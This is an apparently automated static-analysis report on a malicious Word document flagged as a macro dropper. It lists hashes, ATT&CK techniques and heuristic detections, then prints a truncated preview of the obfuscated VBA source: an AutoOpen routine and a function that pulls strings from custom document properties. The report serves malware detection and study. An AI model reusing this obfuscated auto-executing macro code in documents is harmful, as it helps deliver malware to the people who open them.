Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b495c54056aa68e…

MALICIOUS

Office (OLE)

66.5 KB Created: 2017-08-11 11:03:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 3659c8b26c8bf4b9feefbfc100bd9656 SHA-1: 353a4a6775544748c3101466b7e067276c8a3838 SHA-256: 4b495c54056aa68e91fd481168a7ddc5d5a6cae713ab359777340f1ba901ae65
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of an auto-executing macro (autoopen) that uses CreateObject, a common technique for executing arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-6335671-0' further confirms its malicious nature as a dropper. The VBA script itself is heavily obfuscated but the presence of autoopen and CreateObject strongly suggests it's designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14146 bytes
SHA-256: 3db9509fdcfaf3b09c858fbfb06d2bb757f56af1d0fbe69ae6cdd7dd0a279271
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function YCXmYYCXmYYCXmYYCXmYYCXmY(ByVal tZgrBCtZgrBCtZgrBCtZgrBCtZgrBC As String, ByVal CFcwTCFcwTCFcwTCFcwTCFcwT As Variant) As Boolean
For Each fRyYWKfRyYWKfRyYWKfRyYWKfRyYWK In CFcwTCFcwTCFcwTCFcwTCFcwT
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    If fRyYWKfRyYWKfRyYWKfRyYWKfRyYWK = tZgrBCtZgrBCtZgrBCtZgrBCtZgrBC Then
        YCXmYYCXmYYCXmYYCXmYYCXmY = True
        Exit Function
    End If
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
Next fRyYWKfRyYWKfRyYWKfRyYWKfRyYWK
End Function
 Function gLsEUgLsEUgLsEUgLsEUgLsEU(ByVal rFAkrrFAkrrFAkrrFAkrrFAkr As String, ByVal FtXAgCFtXAgCFtXAgCFtXAgCFtXAgC As Variant) As Boolean
For Each DwSDFMDwSDFMDwSDFMDwSDFMDwSDFM In FtXAgCFtXAgCFtXAgCFtXAgCFtXAgC
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    If DwSDFMDwSDFMDwSDFMDwSDFMDwSDFM = rFAkrrFAkrrFAkrrFAkrrFAkr Then
        gLsEUgLsEUgLsEUgLsEUgLsEU = True
        Exit Function
    End If
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
Next DwSDFMDwSDFMDwSDFMDwSDFMDwSDFM
End Function
 Function xSvFcxSvFcxSvFcxSvFcxSvFc(ByVal spTwgspTwgspTwgspTwgspTwg As String, ByVal xZPvSxZPvSxZPvSxZPvSxZPvS As Variant) As Boolean
For Each ZnMZrzZnMZrzZnMZrzZnMZrzZnMZrz In xZPvSxZPvSxZPvSxZPvSxZPvS
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    If ZnMZrzZnMZrzZnMZrzZnMZrzZnMZrz = spTwgspTwgspTwgspTwgspTwg Then
        xSvFcxSvFcxSvFcxSvFcxSvFc = True
        Exit Function
    End If
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
Next ZnMZrzZnMZrzZnMZrzZnMZrzZnMZrz
End Function
 Function LaKbYLaKbYLaKbYLaKbYLaKbY(ByVal RCfwrRCfwrRCfwrRCfwrRCfwr As String, ByVal uzhfFuzhfFuzhfFuzhfFuzhfF As Variant) As Boolean
For Each MrXDwMrXDwMrXDwMrXDwMrXDw In uzhfFuzhfFuzhfFuzhfFuzhfF
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    If MrXDwMrXDwMrXDwMrXDwMrXDw = RCfwrRCfwrRCfwrRCfwrRCfwr Then
        LaKbYLaKbYLaKbYLaKbYLaKbY = True
        Exit Function
    End If
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
    yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
Next MrXDwMrXDwMrXDwMrXDwMrXDw
End Function

Sub autoopen()
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
eErnWveErnWveErnWveErnWveErnWv
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
End Sub
Public Function zYFbtzYFbtzYFbtzYFbtzYFbt()
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
spDTUSspDTUSspDTUSspDTUSspDTUS = ActiveDocument.CustomDocumentProperties("MVOgotjyQa") + ""
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
WumKRLWumKRLWumKRLWumKRLWumKRL = ActiveDocument.CustomDocumentProperties("cpSQdxywBR")
zYFbtzYFbtzYFbtzYFbtzYFbt = spDTUSspDTUSspDTUSspDTUSspDTUS + WumKRLWumKRLWumKRLWumKRLWumKRL
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw = "yGDdVwyGDdVwyGDdVwyGDdVwyGDdVw"
End Function
Public Function zuyTBFzuyTBFzuyTBFzuyTBFzuyTBF()
yGDdVw
... (truncated)